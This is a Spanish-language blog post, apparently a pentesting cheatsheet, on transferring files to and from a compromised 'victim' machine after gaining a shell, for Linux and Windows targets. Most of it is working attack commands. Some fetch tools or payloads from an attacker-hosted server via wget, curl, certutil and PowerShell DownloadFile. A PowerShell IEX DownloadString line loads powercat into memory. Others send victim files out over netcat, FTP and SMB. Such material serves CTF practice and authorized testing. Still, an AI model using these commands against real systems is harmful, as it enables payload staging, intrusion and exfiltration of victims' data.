Una vez conseguida shell en un objetivo es importante la tranferencia de archivos entre la máquina víctima y la atacante ya que muchas veces necesitaremos subir archivos como herramientas automáticas o exploits o bien descargarnos archivos de la víctima para analizarlos, reversing, etc.
En este post veremos un Cheatsheet de algunas de las maneras para realizar estas transferencias.
Si se os ocurre alguna mas no dudeis en comentarlo.
Antes de empezar hay que aclarar que si se obtiene la conexión con el objetivo mediante meterpreter, empire o alguna herramienta similar se facilitará la tarea pero como a veces no es posible o no conviene cargar esas herramientas solo comentaremos las maneras mas manuales.
En este post veremos los casos de que la máquina víctima sea Linux o Windows.
Linux
-
Subir archivos a la víctima
-
Simple HTTP Server
Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con wget en la víctima(o bien curl si no esta instalado).
Comando máquina atacante:python -m SimpleHTTPServer 80
Comando máquina víctima:
wget http://192.168.1.35/FiletoTransfer
o
curl -o FiletoTransfer http://192.168.1.35/FiletoTransfer
-
SCP(utilidad de SSH)
Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales.
Utilizaremos la utilidad scp para transferir el archivo
Comando máquina atacante:scp FiletoTransfer [email protected]:/home/tester/iron/
-
Netcat
Utilizaremos la herramienta que es conocida como la navaja suiza del hacker, netcat.
La mayoria de los equipos con linux lo llevan instalado asi que esto es una ventaja.
Comando máquina víctima:nc -lvp 4444 > FiletoTransfer
Comando máquina atacante:
nc 192.168.1.39 4444 -w 3 < FiletoTransfer
-
FTP
Montaremos un ftp temporal(podriamos utilizar un ftp convencional) utilizando la utilidad twistd para asi acceder desde la víctima y descargar el archivo
Comando máquina atacante:twistd -n ftp -r .
Comando máquina víctima:
wget ftp://192.168.1.35:2121/FiletoTransfer
-
-
Bajar archivos de la víctima
-
Simple Server HTTP
Este metodo es el mismo exactamente que para subir un archivo pero al revés. En este caso la máquina víctima debe tener python para ejecutar el simple server.
Tenemos que tener en cuenta que no tendremos permisos para levantar cualquier puerto.
También podríamos mover nuestro archivo a la carpeta del servidor web si por ejemplo tiene corriendo el apache, aunque para eso deberiamos tener permisos.
Comando máquina víctima:python -m SimpleHTTPServer 8080
Comando máquina atacante:
wget http://192.168.1.39:8080/FiletoDownload
-
Netcat
Tambien utilizaremos la herramienta netcat a la inversa que para subir el archivo a la máquina víctima.
Es importante tener en cuenta los permisos sobre los puertos a utilizar.
Comando máquina atacante:nc -lvp 4444 > FiletoDownload
Comando máquina víctima:
nc 192.168.1.35 4444 -w 3 < FiletoDownload
-
SCP(utilidad de SSH)
Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales.
Utilizaremos la utilidad scp para transferir el archivo de la máquina víctima a la nuestra.
Comando máquina atacante:scp [email protected]:/home/tester/iron/FiletoDownload .
-
Windows
-
Subir archivos a la víctima
-
Powershell DownloadFile
Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con la función DownloadFile de powershell.
Comando máquina atacante:python -m SimpleHTTPServer 8080
Comando máquina víctima:
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\Users\test\Desktop\FiletoTransfer')"
-
Certutil.exe
Con nuestro archivo hosteado utilizaremos la herramienta de Microsoft certutil.exe para bajarnos el archivo que queramos. Esta herramienta esta pensada para bajar certificados pero como ya vimos en este post se puede aprovechar para mas cosas.
Comando máquina atacante:python -m SimpleHTTPServer 8080
Comando máquina víctima:
certutil.exe -urlcache -split -f http://10.10.10.1:8080/FiletoTransfer FiletoTransfer
-
Netcat
Este metodo es similar al usado en netcat con linux. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.
Comando máquina víctima:nc.exe -lvp 4444 > FiletoTransfer
Comando máquina atacante:
nc 10.10.10.2 4444 -w 3 < FiletoTransfer
-
FTP
Utilizaremos un FTP temporal para hostear nuestro archivo.
Windows lleva preinstalado un cliente FTP por lo que nos conectaremos y bajaremos el archivo deseado. Puede que nuestra shell no sea interactiva y tengamos que usar un fichero de comandos para conectarnos y descargar el fichero.
Comando máquina atacante:twistd -n ftp -r .
Comando máquina víctima:
ftp open 10.10.10.1 2121 anonymous get FiletoTransfer bye
-
SMB
Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima descargando asi el archivo
Comando máquina atacante:impacket-smbserver -smb2support test .
Comando máquina víctima:
copy \\10.10.10.1\test\FiletoTransfer FiletoTransfer
-
-
Bajar archivos de la víctima
-
FTP
Con este metodo montaremos un ftp temporal en la carpeta donde se encuentra nuestro archivo pero esta vez con permiso de escritura.
Posteriormente accederemos desde la víctima y subiremos nuestro archivo.
Comando máquina atacante:python -m pyftpdlib -w
Comando máquina víctima:
ftp open 10.10.10.1 2121 anonymous put FiletoDownload bye
-
Netcat
Este metodo es similar al usado en netcat para subir archivos pero a la inversa. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.
Comando máquina atacante:nc -lvp 4444 > FiletoDownload
Comando máquina víctima:
nc.exe 10.10.10.1 4444 -w 3 < FiletoDownload
-
SMB
Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima para copiar el archivo a descargar en nuestra carpeta SMB
Comando máquina atacante:impacket-smbserver -smb2support test .
Comando máquina víctima:
copy FiletoDownload \\10.10.10.1\test\FiletoDownload
-
Powercat
En este metodo cargaremos en memoria el modulo de powercat, una herramienta con la que podemos cargar una shell, enviar archivos. En este caso lo usaremos para esto mismo.
Tenemos hosteado en nuestra máquina el archivo powercat.ps1 y lo cargamos mediante la funcion DownloadString. Ejecutamos powercat para enviarnos el archivo y mediante wget lo descargamos en nuestra máquina.
Veremos que la descarga no termina nunca pero la cancelaremos cuando pueda haber terminado dependiendo del tamaño del archivo.
Comando máquina víctima:powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.1/powercat.ps1');powercat -l -p 4444 -i C:\Users\test\FiletoDownload"
Comando máquina atacante:
wget http://10.10.10.2:4444/FiletoDownload
-
Awesome
Gracias estimado, bien explicado, es de mucha ayuda … Saludos desde Centro America…
gracias amigo ♥